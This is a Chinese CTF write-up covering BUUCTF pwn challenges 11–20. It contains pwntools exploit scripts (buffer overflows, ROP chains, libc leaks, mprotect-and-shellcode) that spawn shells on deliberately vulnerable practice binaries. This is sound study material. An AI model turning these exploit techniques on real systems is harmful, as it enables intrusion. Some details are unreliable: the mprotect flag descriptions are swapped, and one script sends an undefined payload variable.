11~20

11.bjdctf_2020_babystack

很简单的ret2text

(1)分析

main

buf前的nbytes可以控制read函数的读入字节数,造成溢出点

backdoor


binsh_addr=0x4006e6

溢出长度在IDA中看一下就好

(2)payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import*

io=remote('node4.buuoj.cn',25702)

binsh_addr=0x4006e6

io.sendline('100') #造成溢出
payload=b'a'*(0x10+0x08)+p64(binsh_addr)

io.sendline(payload)
io.interactive()

12.get_started_3dsctf_2016

(1)分析

main

有gets溢出漏洞

看到提示函数

进入内存看a1和a2在栈上的参数位置,它们的位置在返回地址之后,没法利用溢出覆盖来控制程序

查看打开flag的地方

可以看到在此位置程序打开flag文件,我们控制程序跳转到此处执行理论上就可以拿到flag,但是发现只能在本地打通。

方法一

查看网上师傅的wp发现无法拿到的原因是因为我们没有维持栈的平衡,导致程序异常退出,但为啥本地异常退出可以回显文本中的字符串而远程不可以,这就不太清楚,有可能远端做了限制。

通过后门函数进行回显flag

针对上面远端无法拿到结果的问题,这里给出新的解法,也就是维护好栈,使得执行完get_flag()后门函数让程序正常退出。打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以正常结束并且有回显了。(==静态编译文件==)

通过GDB或IDA,我们可以拿到exit函数的地址

那么思路就有了

我们先利用gets溢出控制程序打开flag文件,再用exit函数让程序可以正常退出,最后将返回地址溢出成==带参数的==,就能拿到flag

方法二

这题比较巧妙的做法

程序里有一个mprotect函数(==以后静态编译文件可以试着找找此类库函数==),它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell

首先学习一下这个函数

int mprotect(const void *start, size_t len, int prot);

  第一个参数填的是一个地址,是指需要进行操作的地址。

  第二个参数是地址往后多大的长度。

  第三个参数的是要赋予的权限。

  mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

  prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  1)PROT_READ:表示内存段内的内容可写;

  2)PROT_WRITE:表示内存段内的内容可读;

  3)PROT_EXEC:表示内存段中的内容可执行;

  4)PROT_NONE:表示内存段中的内容根本没法访问。

 prot=7 是可读可写可执行

  需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
(通过看源码,可以发现几个参数都是整型数据,就不奇怪了)

就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是==静态编译==,所以地址是不会变的。

首先利用了mprotect函数修改内存权限,然后利用read读取shellcode到该内存区域。由于开启了NX保护,所以不断利用retn返回地址来达到调用函数,注入shellcode的目的。

那么我们需要做的是

  • 第一个参数为需要修改的内存起始地址,这个地址也就是我们接下来shellcode将要写入的地方;
  • ==第二个参数为修改的内存大小,一般取内存的整数页==;
  • 第三个参数为0x7,表示该内存拥有可读可写可执行权限。

read函数第一个参数是打开的文件描述符,0表示输入;第二参数指明读取的数据存放的内存起始位置;第三个参数指明最大读取的字节数。而每次调用函数后都是返回到pop_3_ret中执行,是用该段汇编代码弹出压入栈中的三个参数来达到栈平衡。该代码的地址不唯一,在程序中找到相应弹出三个栈的操作再加retn的汇编代码就行。

==随便找就行==

具体方法见exp2

(2)payload

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*

io=remote('node4.buuoj.cn',25018)
#io=process('./get_started_3dsctf_2016')

exit_addr=0x804E6A0
get_flag_addr=0x80489A0
a1=814536271
a2=425138641

payload=b'a'*0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)

io.sendline(payload)
io.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

elf = ELF('./get_started_3dsctf_2016')

io=remote('node4.buuoj.cn', 25689)

pop3_ret = 0x804951D #不唯一

mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7 #设置mprotect函数的三个参数

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

payload1 = b'A' * 0x38
payload1 += p32(mprotect_addr)
payload1 += p32(pop3_ret)

payload1 += p32(mem_addr)
payload1 += p32(mem_size)
payload1 += p32(mem_proc)

payload1 += p32(read_addr)
payload1 += p32(pop3_ret)

payload1 += p32(0)
payload1 += p32(mem_addr)
payload1 += p32(0x100) #设置read函数的三个参数

payload1 += p32(mem_addr) #将read函数的返回地址设置到我们修改的内存的地址,去执行shellcode

io.sendline(payload1)

shellcode = asm(shellcraft.sh()) #利用pwntools直接生成shellcode
io.sendline(shellcode) #执行shellcode
io.interactive()

(3)总结

13.jarvisoj_level2_x64

(1)分析

main

vulnerable_function

read函数漏洞

system和/bin/sh字符串都有

没啥好说的,ret2text,注意一下64位ROP链构造

payload=B’a’*offset+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io=remote('node4.buuoj.cn',29274)
#io = process('./13')

binsh_addr = 0x600A90
system_addr = 0x40063E
pop_rdi_ret = 0x4006b3

payload=B'a'*0x88+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr) #64位的ROP链

io.sendline(payload)
io.interactive()

14.[OGeek2019]babyrop

(1)分析

image-20230909174533331

main

image-20230909184712006

/dev/urandom是Linux的一个生成随机数文件,0代表只读,但是open函数还是返回一个大于0的数,read函数将fd赋给buf,因此buf处的数是随机的。
将buf作为参数传给sub_804871F,返回值赋值给v2,将v2作为参数传给 sub_80487D0。

进入sub_804871F函数

image-20230909184840533

memset函数:将某一块区域内容设置为指定内容(0),多用于数组的初始化。
memset函数会将s和buf中元素都初始化为0.
sprintf函数,将a1打印在s上。
read函数从键盘读取0x20字节内容写入buf,并将返回值赋值给v5,read函数返回值为读取的字节数。
接下来判断buf和s大小,相等返回0,不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0,不让程序退出,我们可以采用’\0’截断绕过,让v1为0,这样strncmp函数会立即返回0。

sub_80487D0函数

image-20230910124242455

把v5的值作为参数传入,进行条件判断运算。在第2个read中,只要a1足够大,就能发生栈溢出,并且能够溢出到ret位置。

根据ASCLL码最大值为255,用‘\xff’表示,我们将buf[7]改为‘\xff’即可造成溢出

image-20230910185130316

在sub_804871F函数中,为防止程序退出,就要使strncmp(buf, s, v1)结果为0
可以看到v1 = strlen(buf);用\0截断,在输入时设置第一个元素为\x00
最后返回的时buf[7],看sub_80487D0函数,我们需要将传入的参数尽可能大了写,这样才能栈溢出并进行想要的操作
所以在输入时就要将buf[7]也一起修改了。
另外,sendline函数的结束符也是算一个字节的,所以输入的时候只要*7就可以了(当然保险起见, *8也是可以的)

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
#from LibcSearcher import*
#io=process("./pwn")
io=remote("node4.buuoj.cn",29655)
elf=ELF("./14")

main_addr=0x8048825

payload = b'\x00' #利用strlen函数’\0’截断绕过
payload += b'\xff'*8 #将buf[7]改为255

io.sendline(payload) #sendline函数会自动在末尾加上换行符
io.recvuntil('Correct\n')

write_plt=elf.plt['write']
write_got=elf.got['write']

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr) #main函数为前一个的函数返回地址
payload1 += p32(1)+p32(write_got)+p32(4) #p32(1)和p32(4)为write(1, "Correct\n", 8u);的两个参数

io.sendline(payload1)

write_addr=u32(io.recv(4))
print(hex(write_addr)) #定位write函数地址

libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.sym['write']
sys_addr=libcbase+libc.sym["system"]
bin_sh=libcbase+next(libc.search(b'/bin/sh')) #利用题目的libc版本找system和/bin/sh字符串

payload2=b'a'*0xe7+b'a'*4+p32(sys_addr)+p32(0)+p32(bin_sh) #32位的ROP链

io.sendline(payload)
io.recvuntil('Correct\n')
io.sendline(payload2)
io.interactive()

(3)总结

  • strlen的特性是遇到’\0’就停止记录字符串长度,这里可以考虑\0截断绕过strncmp函数判定。
  • 在LibcSearcher找不到匹配的libc库的时候,要会使用题目中给的libc版本
  • 32位程序函数参数直接压入栈中,即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
  • python3取消了binsh_libc=libc.search(‘/bin/sh’).next()的用法。

15.[HarekazeCTF2019]baby_rop

(1)分析

image-20230910164146081

main

image-20230910164213785

看字符串

image-20230910164251162

system和/bin/sh字符串都有

binsh_addr=0x601048
system_addr=0x400490(找_system函数地址)

接下来就是ROPgadget找gadgets

image-20230910164946229

这时发现ROP链打不通

排查原因也不是payload的问题,考虑栈对齐问题

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,如果你到system函数执行的时候,si单步进去就会发现,如果没对齐的话,最后就会卡在这里(如下图)。

image-20230910181524930

程序会卡在这里不动了,无法继续执行

我们可以看一下栈内的状态

image-20230910181919480

因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system地址末尾是0。

所以上图是没对齐的情况,所以我们需要加一个凑数用的gadget
于是找到上面的ret地址(对ROP链无影响)

下面是打通的栈内状态

image-20230910183603522

image-20230910183531239

可以看到首地址末尾是0了

然后我们又发现打通后flag不在当前目录
使用这条指令就能找到flag所在文件目录

find / -name flag
cat ./xxx/xxx/flag

那么本题完结

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
io=process('./15')
#io=remote('node4.buuoj.cn',25669)

pop_rdi_ret=0x400683
binsh_addr=0x601048
system_addr=0x400490
pop_ret=0x0400479

payload=b'a'*0x18+p64(pop_ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
#gdb.attach(io)
io.sendline(payload)
io.interactive()

(3)总结

  • Ubuntu18以上版本注意栈对齐问题
  • flag不在当前目录要会找

16.ciscn_2019_n_5

(1)分析

image-20230910192917771

基本没有保护,程序也没有system和/bin/sh字符串,可以试试ret2shellcode

image-20230910194239722

name是bss段的,在name上写shellcode,然后gets溢出到name的地址执行shellcode

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

context(os='linux',arch='amd64',log_level='debug')
#io=process('./16')
io=remote('node4.buuoj.cn',29487)

shellcode_addr=0x601080
shellcode=asm(shellcraft.sh())
payload=b'a'*0x28+p64(shellcode_addr)

io.recvuntil(b'name\n')
io.sendline(shellcode)
io.recvuntil(b'me?\n')
io.sendline(payload)
io.interactive()

17.others_shellcode

直接nc过去就通了。。。

18.ciscn_2019_en_2

同第8题,给payload再稍微解释一下

(1)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug') #基本设置,防止出现版本错误,养成好习惯

io=remote('node4.buuoj.cn',26149)
#io=process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')

pop_rdi=0x400c83
pop_ret=0x4006b9
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')

payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#前面是\x00截断,rid传参,got是参数,plt是函数,main是返回地址(这是64位调用函数的方式)
io.sendline(payload)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#这个是接收一行,去除末尾换行符,补齐到8位,直接用u64(io.recv(8))不行接到的数据是错的
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')

payload=b'\x00'+b'a'*0x57+p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
#ubuntu18,栈对齐,所以用ret来凑数
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil('encrypted\n')
io.sendline(payload)
io.interactive()

19.not_the_same_3dsctf_2016

(1)分析

image-20230911180955318

进入IDA发现,函数非常多,基本是静态编译,所以一些C语言的库函数可以拿来用了

main

image-20230911181152285

get_secret

image-20230911181228380

发现程序将flag存在fl4g中,我们可以利用write函数(==这里需要积累常用C语言库函数==)从这里读取flag

那么思路基本明确,先利用get_secret函数让程序将flag存在fl4g中,然后返回main函数,再利用write函数读取fl4g的内容,也就是flag。

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context(os='linux',arch='i386',log_level='debug') #养成好习惯

io=remote('node4.buuoj.cn',27292)
elf=ELF('./19')
get_secret=0x80489A0
flag_addr=0x80ECA2D
write_addr=elf.sym['write']
#write_addr=0x806e270 用pwndbg打断点,或者IDA查write函数也能找到,上面是偷懒的方法,但是可能出错
main_addr=elf.sym['main']

payload1 = b'a'*0x2d+p32(get_secret)+p32(main_addr)

io.sendline(payload1) #第一次发送payload将flag存在fl4g中

payload = b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
#p32(0)是write函数的返回(执行)地址,p32(1)+p32(flag_addr)+p32(45)是返回地址带的三个参数
io.sendline(payload2)
io.interactive()

20.ciscn_2019_ne_5

(1)分析

image-20230911182523250

main

image-20230911182628348

GetFlag函数

image-20230911182645815

strcpy函数复制src到dest时,只要src够长,就能让dest溢出

Print函数

image-20230911201216248

给了system函数

AddLog函数

image-20230911201250970

那么我们可以先让V4的值为1,在src写入payload,再设置V4的值为4,使得dest溢出

需要注意的是,不仅/bin/sh字符串可以拿权限,sh有时也可以,类似的还有$0

sh字符串查找

ROPgadget –binary 20 –string ‘sh’

image-20230911214532678

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux',arch='i386',log_level='debug')

#io=process('./20')
io=remote('node4.buuoj.cn',27905)
elf=ELF('./20')

sh_addr=0x080482ea
system_addr=0x80484D0

io.recvuntil(b'password:')
io.sendline(b'administrator')
io.recvuntil(b'0.Exit\n:')
io.sendline(b'1')

payload=b'a'*0x4c+p32(system_addr)+b'1234'+p32(sh_addr)

io.recvuntil(b"Please input new log info:")
io.sendline(payload)
io.recvuntil(b'0.Exit\n:')
io.sendline(b'4')
io.interactive()

(3)总结

system函数可以在IDA中这么找

image-20230911204845274

双击跟进

image-20230911204924672

也可以在pwndbg中打断点找

image-20230911213413737

还能直接在终端找

objdump -d -j .plt ./program’s_name | grep system

image-20230911213744432

偏移地址可以这么找

image-20230911214127860


11~20
http://example.com/2023/09/04/WP/BUUCTF/11-20/
作者
Jwj-Learning
发布于
2023年9月4日
许可协议